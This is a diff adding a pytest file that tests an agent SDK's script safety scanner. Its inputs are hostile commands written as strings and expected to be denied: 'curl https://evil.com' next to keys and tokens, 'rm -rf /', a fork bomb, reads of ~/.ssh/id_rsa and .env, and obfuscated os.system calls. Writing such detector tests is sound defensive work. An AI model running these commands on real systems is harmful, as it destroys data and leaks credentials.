|
| 1 | +"""Precision tests hitting every remaining uncovered line.""" |
| 2 | + |
| 3 | +import sys |
| 4 | +from pathlib import Path |
| 5 | + |
| 6 | +_PROJECT_ROOT = Path(__file__).resolve().parent.parent |
| 7 | +if str(_PROJECT_ROOT) not in sys.path: |
| 8 | + sys.path.insert(0, str(_PROJECT_ROOT)) |
| 9 | + |
| 10 | +import pytest |
| 11 | +from trpc_agent_sdk.tools.safety import Decision, SafetyScanner, SafetyScanInput, ScriptType |
| 12 | +from trpc_agent_sdk.tools.safety._policy import SafetyPolicy |
| 13 | +from trpc_agent_sdk.tools.safety._types import RiskCategory |
| 14 | + |
| 15 | + |
| 16 | +# === _safety_wrapper.py:255 === |
| 17 | +def test_sw255(): |
| 18 | + from trpc_agent_sdk.tools.safety import safety_wrapper |
| 19 | + @safety_wrapper(script_arg_name="code", require_script=False) |
| 20 | + def f(code=None): return code |
| 21 | + assert f(code=[]) == [] |
| 22 | + |
| 23 | + |
| 24 | +# === _scanner.py:131-132 (re.error in blocklist precheck), 817,842,901,903,908,1000,1002,1035-1042,1061,1063,1072-1074,1090,1138 === |
| 25 | +def test_scanner_redact_all(): |
| 26 | + s = SafetyScanner() |
| 27 | + # PEM key in a script that also triggers a finding (so sanitization runs) |
| 28 | + r = s.scan(SafetyScanInput( |
| 29 | + script_content='k = "-----BEGIN RSA PRIVATE KEY-----\\nabc123\\n-----END RSA PRIVATE KEY-----"; curl https://evil.com', |
| 30 | + script_type=ScriptType.BASH, tool_name="t")) |
| 31 | + assert r.sanitized |
| 32 | + # JWT token |
| 33 | + r2 = s.scan(SafetyScanInput( |
| 34 | + script_content='t = "eyJhbGciOiJIUzI1NiJ9.eyJzdWIiOiIxIn0.abc123def456"; curl https://evil.com', |
| 35 | + script_type=ScriptType.BASH, tool_name="t")) |
| 36 | + assert r2.sanitized |
| 37 | + |
| 38 | + |
| 39 | +def test_scanner_extract_url_bare(): |
| 40 | + from trpc_agent_sdk.tools.safety._scanner import _extract_url |
| 41 | + assert _extract_url("domain.example.com/text") is not None |
| 42 | + assert _extract_url("no_url") is None |
| 43 | + |
| 44 | + |
| 45 | +def test_scanner_is_in_echo_all(): |
| 46 | + from trpc_agent_sdk.tools.safety._scanner import _is_in_echo_string |
| 47 | + assert _is_in_echo_string("echo\t'x'", "x") |
| 48 | + assert _is_in_echo_string("printf\t'x'", "x") |
| 49 | + assert _is_in_echo_string("/bin/echo 'x'", "x") |
| 50 | + assert _is_in_echo_string("/usr/bin/echo 'x'", "x") |
| 51 | + assert not _is_in_echo_string("cat /etc/passwd", "/etc/passwd") |
| 52 | + |
| 53 | + |
| 54 | +def test_scanner_commands_line(): |
| 55 | + from trpc_agent_sdk.tools.safety._scanner import _extract_commands_from_line |
| 56 | + assert _extract_commands_from_line("a|b|c") == ["a", "b", "c"] |
| 57 | + |
| 58 | + |
| 59 | +def test_scanner_strip_python_comment(): |
| 60 | + from trpc_agent_sdk.tools.safety._scanner import _strip_python_comment_line |
| 61 | + line = "x = 'str' + other" |
| 62 | + result = _strip_python_comment_line(line) |
| 63 | + assert "other" in result |
| 64 | + |
| 65 | + |
| 66 | +# === _rules.py === |
| 67 | +def test_rules_network_dep_res(): |
| 68 | + s = SafetyScanner() |
| 69 | + r = s.scan(SafetyScanInput(script_content="curl https://evil.com/x", script_type=ScriptType.BASH, tool_name="t")) |
| 70 | + assert any(f.rule_id.startswith("NET-") for f in r.findings) |
| 71 | + r2 = s.scan(SafetyScanInput(script_content="yum install nginx", script_type=ScriptType.BASH, tool_name="t")) |
| 72 | + assert any(f.rule_id.startswith("DEP-") for f in r2.findings) |
| 73 | + r3 = s.scan(SafetyScanInput(script_content="sleep 999999", script_type=ScriptType.BASH, tool_name="t")) |
| 74 | + assert any(f.rule_id.startswith("RES-") for f in r3.findings) |
| 75 | + |
| 76 | + |
| 77 | +def test_rules_dangerous_file_ops(): |
| 78 | + s = SafetyScanner() |
| 79 | + r = s.scan(SafetyScanInput(script_content="rm -rf / --no-preserve-root", script_type=ScriptType.BASH, tool_name="t")) |
| 80 | + assert any(f.rule_id.startswith("FILE-") for f in r.findings) |
| 81 | + |
| 82 | + |
| 83 | +def test_rules_is_in_echo(): |
| 84 | + from trpc_agent_sdk.tools.safety._rules import _is_in_echo_string, _extract_url |
| 85 | + assert not _is_in_echo_string("echo 'x'; rm -rf /", r"rm\s+-rf\s+/") |
| 86 | + assert not _is_in_echo_string('echo "$(rm -rf /)"', r"rm\s+-rf\s+/") |
| 87 | + assert _extract_url("http://a.com/b") == "a.com" |
| 88 | + assert _extract_url("no url here") is None |
| 89 | + |
| 90 | + |
| 91 | +# === _bash_scanner.py === |
| 92 | +def test_bash_scan_empty_comments_shebang(): |
| 93 | + s = SafetyScanner() |
| 94 | + assert s.scan(SafetyScanInput(script_content="\n\necho ok", script_type=ScriptType.BASH, tool_name="t")).decision == Decision.ALLOW |
| 95 | + assert s.scan(SafetyScanInput(script_content="#c\n#c\necho ok", script_type=ScriptType.BASH, tool_name="t")).decision == Decision.ALLOW |
| 96 | + assert s.scan(SafetyScanInput(script_content="#!/bin/bash\necho ok", script_type=ScriptType.BASH, tool_name="t")).decision == Decision.ALLOW |
| 97 | + |
| 98 | + |
| 99 | +def test_bash_network_install(): |
| 100 | + s = SafetyScanner() |
| 101 | + r = s.scan(SafetyScanInput(script_content="telnet evil.com 23", script_type=ScriptType.BASH, tool_name="t")) |
| 102 | + assert any(f.rule_id.startswith("BASH-NET") for f in r.findings) |
| 103 | + r2 = s.scan(SafetyScanInput(script_content="npm install pkg", script_type=ScriptType.BASH, tool_name="t")) |
| 104 | + assert any(f.rule_id == "BASH-DEP-001" for f in r2.findings) |
| 105 | + |
| 106 | + |
| 107 | +def test_bash_redirect_dd(): |
| 108 | + s = SafetyScanner() |
| 109 | + r = s.scan(SafetyScanInput(script_content="cmd >/etc/hosts", script_type=ScriptType.BASH, tool_name="t")) |
| 110 | + assert any(f.rule_id == "BASH-FILE-003" for f in r.findings) |
| 111 | + r2 = s.scan(SafetyScanInput(script_content="ls &", script_type=ScriptType.BASH, tool_name="t")) |
| 112 | + assert any(f.rule_id == "BASH-PROC-004" for f in r2.findings) |
| 113 | + r3 = s.scan(SafetyScanInput(script_content="dd if=/dev/zero of=/tmp/x bs=1M count=200", script_type=ScriptType.BASH, tool_name="t")) |
| 114 | + assert r3.decision != Decision.ALLOW |
| 115 | + |
| 116 | + |
| 117 | +def test_bash_fork_heredoc_sensitive(): |
| 118 | + s = SafetyScanner() |
| 119 | + r = s.scan(SafetyScanInput(script_content="x(){ x|x& };x", script_type=ScriptType.BASH, tool_name="t")) |
| 120 | + assert r.decision == Decision.DENY |
| 121 | + from trpc_agent_sdk.tools.safety._bash_scanner import scan_bash, _is_sensitive_path, _parse_size, _to_seconds |
| 122 | + f = scan_bash("python3 << EOF\nid\nEOF") |
| 123 | + assert any(x.kind == "heredoc" for x in f) |
| 124 | + assert _is_sensitive_path("/etc/shadow") |
| 125 | + assert not _is_sensitive_path("/tmp/safe") |
| 126 | + assert _parse_size("1G") == 1073741824 |
| 127 | + with pytest.raises(ValueError): |
| 128 | + _parse_size("abc") |
| 129 | + assert _to_seconds(1, "d") == 86400 |
| 130 | + |
| 131 | + |
| 132 | +# === _python_scanner.py === |
| 133 | +def test_py_everything(): |
| 134 | + """Hit as many AST paths as possible.""" |
| 135 | + s = SafetyScanner() |
| 136 | + |
| 137 | + # ImportFrom + alias |
| 138 | + r = s.scan(SafetyScanInput(script_content="from os import system as sh; sh('id')", script_type=ScriptType.PYTHON, tool_name="t")) |
| 139 | + assert r.decision == Decision.DENY |
| 140 | + |
| 141 | + # Path reconstruction |
| 142 | + r = s.scan(SafetyScanInput(script_content="from pathlib import Path; p=Path('/tmp')/'x'; open(str(p)).read()", script_type=ScriptType.PYTHON, tool_name="t")) |
| 143 | + assert len(r.findings) > 0 |
| 144 | + |
| 145 | + # Cred file read |
| 146 | + r = s.scan(SafetyScanInput(script_content="open('.env').read()", script_type=ScriptType.PYTHON, tool_name="t")) |
| 147 | + assert any(f.rule_id == "AST-FILE-003" for f in r.findings) |
| 148 | + |
| 149 | + # urllib network |
| 150 | + r = s.scan(SafetyScanInput(script_content="import urllib.request; urllib.request.urlopen('http://evil.com')", script_type=ScriptType.PYTHON, tool_name="t")) |
| 151 | + assert any(f.rule_id.startswith("AST-NET") for f in r.findings) |
| 152 | + |
| 153 | + # dynamic import |
| 154 | + r = s.scan(SafetyScanInput(script_content="__import__('os').system('id')", script_type=ScriptType.PYTHON, tool_name="t")) |
| 155 | + assert r.decision == Decision.DENY |
| 156 | + |
| 157 | + # importlib |
| 158 | + r = s.scan(SafetyScanInput(script_content="import importlib; importlib.import_module('os')", script_type=ScriptType.PYTHON, tool_name="t")) |
| 159 | + assert any(f.rule_id == "AST-PROC-003" for f in r.findings) |
| 160 | + |
| 161 | + # privilege |
| 162 | + r = s.scan(SafetyScanInput(script_content="import os; os.setuid(0)", script_type=ScriptType.PYTHON, tool_name="t")) |
| 163 | + assert any(f.rule_id == "AST-PROC-001" for f in r.findings) |
| 164 | + |
| 165 | + # taint env |
| 166 | + r = s.scan(SafetyScanInput(script_content="import os; k=os.environ.get('KEY'); print(k)", script_type=ScriptType.PYTHON, tool_name="t")) |
| 167 | + assert any(f.rule_id == "AST-LEAK-001" for f in r.findings) |
| 168 | + |
| 169 | + # taint env Subscript |
| 170 | + r = s.scan(SafetyScanInput(script_content="import os; print(os.environ['KEY'])", script_type=ScriptType.PYTHON, tool_name="t")) |
| 171 | + |
| 172 | + # sensitive env key |
| 173 | + r = s.scan(SafetyScanInput(script_content="import os; k=os.getenv('AWS_SECRET'); print(k)", script_type=ScriptType.PYTHON, tool_name="t")) |
| 174 | + |
| 175 | + # f-string taint |
| 176 | + r = s.scan(SafetyScanInput(script_content="import os; k=os.getenv('KEY'); print(f'{k}')", script_type=ScriptType.PYTHON, tool_name="t")) |
| 177 | + |
| 178 | + # range 2-arg, 3-arg |
| 179 | + r = s.scan(SafetyScanInput(script_content="for i in range(0,20000000): pass", script_type=ScriptType.PYTHON, tool_name="t")) |
| 180 | + assert any(f.rule_id == "AST-RES-001" for f in r.findings) |
| 181 | + r = s.scan(SafetyScanInput(script_content="for i in range(0,20000000,2): pass", script_type=ScriptType.PYTHON, tool_name="t")) |
| 182 | + assert any(f.rule_id == "AST-RES-001" for f in r.findings) |
| 183 | + |
| 184 | + # with request Session |
| 185 | + r = s.scan(SafetyScanInput(script_content="import requests; s=requests.Session()", script_type=ScriptType.PYTHON, tool_name="t")) |
| 186 | + assert len(r.findings) > 0 |
| 187 | + |
| 188 | + # sleep long |
| 189 | + r = s.scan(SafetyScanInput(script_content="import time; time.sleep(120)", script_type=ScriptType.PYTHON, tool_name="t")) |
| 190 | + assert any(f.rule_id == "AST-RES-002" for f in r.findings) |
| 191 | + |
| 192 | + # concurrency |
| 193 | + r = s.scan(SafetyScanInput(script_content="import threading; threading.Thread(target=print).start()", script_type=ScriptType.PYTHON, tool_name="t")) |
| 194 | + assert any(f.rule_id == "AST-RES-003" for f in r.findings) |
| 195 | + r = s.scan(SafetyScanInput(script_content="from multiprocessing import Pool; Pool(4)", script_type=ScriptType.PYTHON, tool_name="t")) |
| 196 | + assert any(f.rule_id == "AST-RES-003" for f in r.findings) |
| 197 | + r = s.scan(SafetyScanInput(script_content="from concurrent.futures import ThreadPoolExecutor; ThreadPoolExecutor(4)", script_type=ScriptType.PYTHON, tool_name="t")) |
| 198 | + r = s.scan(SafetyScanInput(script_content="import os; os.fork()", script_type=ScriptType.PYTHON, tool_name="t")) |
| 199 | + assert any(f.rule_id == "AST-RES-003" and f.risk_level.value == "critical" for f in r.findings) |
| 200 | + |
| 201 | + # file ops |
| 202 | + r = s.scan(SafetyScanInput(script_content="import shutil; shutil.rmtree('/tmp/x')", script_type=ScriptType.PYTHON, tool_name="t")) |
| 203 | + assert any(f.rule_id == "AST-FILE-001" for f in r.findings) |
| 204 | + r = s.scan(SafetyScanInput(script_content="import os; os.remove('/tmp/x')", script_type=ScriptType.PYTHON, tool_name="t")) |
| 205 | + assert any(f.rule_id == "AST-FILE-002" for f in r.findings) |
| 206 | + r = s.scan(SafetyScanInput(script_content="open('~/.ssh/id_rsa').read()", script_type=ScriptType.PYTHON, tool_name="t")) |
| 207 | + assert any(f.rule_id == "AST-FILE-003" for f in r.findings) |
| 208 | + r = s.scan(SafetyScanInput(script_content="open('/tmp/x').read()", script_type=ScriptType.PYTHON, tool_name="t")) |
| 209 | + assert any(f.rule_id == "AST-FILE-004" for f in r.findings) |
| 210 | + r = s.scan(SafetyScanInput(script_content="open('/etc/x','w').write('y')", script_type=ScriptType.PYTHON, tool_name="t")) |
| 211 | + assert any(f.rule_id == "AST-FILE-005" for f in r.findings) |
| 212 | + r = s.scan(SafetyScanInput(script_content="open('/tmp/x','w').write('y')", script_type=ScriptType.PYTHON, tool_name="t")) |
| 213 | + assert any(f.rule_id == "AST-FILE-005" and f.risk_level.value == "low" for f in r.findings) |
| 214 | + |
| 215 | + # write mode detection |
| 216 | + r = s.scan(SafetyScanInput(script_content="open('/tmp/x',mode='w').write('y')", script_type=ScriptType.PYTHON, tool_name="t")) |
| 217 | + r = s.scan(SafetyScanInput(script_content="open('/tmp/x',mode='a').write('y')", script_type=ScriptType.PYTHON, tool_name="t")) |
| 218 | + r = s.scan(SafetyScanInput(script_content="open('/tmp/x',mode='r+').write('y')", script_type=ScriptType.PYTHON, tool_name="t")) |
| 219 | + |
| 220 | + # subprocess |
| 221 | + r = s.scan(SafetyScanInput(script_content="import subprocess; subprocess.Popen(['ls'])", script_type=ScriptType.PYTHON, tool_name="t")) |
| 222 | + assert any(f.rule_id == "AST-PROC-001" for f in r.findings) |
| 223 | + r = s.scan(SafetyScanInput(script_content="import subprocess; subprocess.call(['ls'])", script_type=ScriptType.PYTHON, tool_name="t")) |
| 224 | + |
| 225 | + # eval/exec |
| 226 | + r = s.scan(SafetyScanInput(script_content="eval('1+1')", script_type=ScriptType.PYTHON, tool_name="t")) |
| 227 | + assert any(f.rule_id == "AST-PROC-003" for f in r.findings) |
| 228 | + |
| 229 | + # while True |
| 230 | + r = s.scan(SafetyScanInput(script_content="while True: pass", script_type=ScriptType.PYTHON, tool_name="t")) |
| 231 | + assert any(f.rule_id == "AST-RES-001" for f in r.findings) |
| 232 | + |
| 233 | + # whitelisted network |
| 234 | + p = SafetyPolicy(whitelist_domains=["safe.api"]) |
| 235 | + s2 = SafetyScanner(policy=p) |
| 236 | + r = s2.scan(SafetyScanInput(script_content="import requests; requests.get('https://safe.api/d')", script_type=ScriptType.PYTHON, tool_name="t")) |
| 237 | + assert any(f.rule_id == "AST-NET-002" for f in r.findings) |
| 238 | + |
| 239 | + # ann_assign + aug_assign |
| 240 | + s.scan(SafetyScanInput(script_content="x: int = 1", script_type=ScriptType.PYTHON, tool_name="t")) |
| 241 | + s.scan(SafetyScanInput(script_content="x = 1; x += 1", script_type=ScriptType.PYTHON, tool_name="t")) |
| 242 | + |
| 243 | + # scan_python entry |
| 244 | + from trpc_agent_sdk.tools.safety._python_scanner import scan_python, _extract_domain_from_url |
| 245 | + assert len(scan_python("import os; os.system('id')")) > 0 |
| 246 | + |
| 247 | + # domain extractor all paths |
| 248 | + assert _extract_domain_from_url("https://a.com/b") == "a.com" |
| 249 | + assert _extract_domain_from_url(None) is None |
| 250 | + assert _extract_domain_from_url("not_url") is None |
| 251 | + |
| 252 | + # sensitive imports |
| 253 | + s.scan(SafetyScanInput(script_content="import ctypes", script_type=ScriptType.PYTHON, tool_name="t")) |
| 254 | + s.scan(SafetyScanInput(script_content="from cffi import FFI", script_type=ScriptType.PYTHON, tool_name="t")) |
| 255 | + |
| 256 | + # subprocess dep |
| 257 | + r = s.scan(SafetyScanInput(script_content="import subprocess; subprocess.run(['pip','install','x'])", script_type=ScriptType.PYTHON, tool_name="t")) |
| 258 | + assert r.decision == Decision.DENY |
| 259 | + |
| 260 | + # getattr dynamic |
| 261 | + r = s.scan(SafetyScanInput(script_content="getattr(__import__('os'),'system')('id')", script_type=ScriptType.PYTHON, tool_name="t")) |
| 262 | + assert r.decision == Decision.DENY |
| 263 | + |
| 264 | + # unsupported node type in _get_name |
| 265 | + s.scan(SafetyScanInput(script_content="x = lambda: 1", script_type=ScriptType.PYTHON, tool_name="t")) |
0 commit comments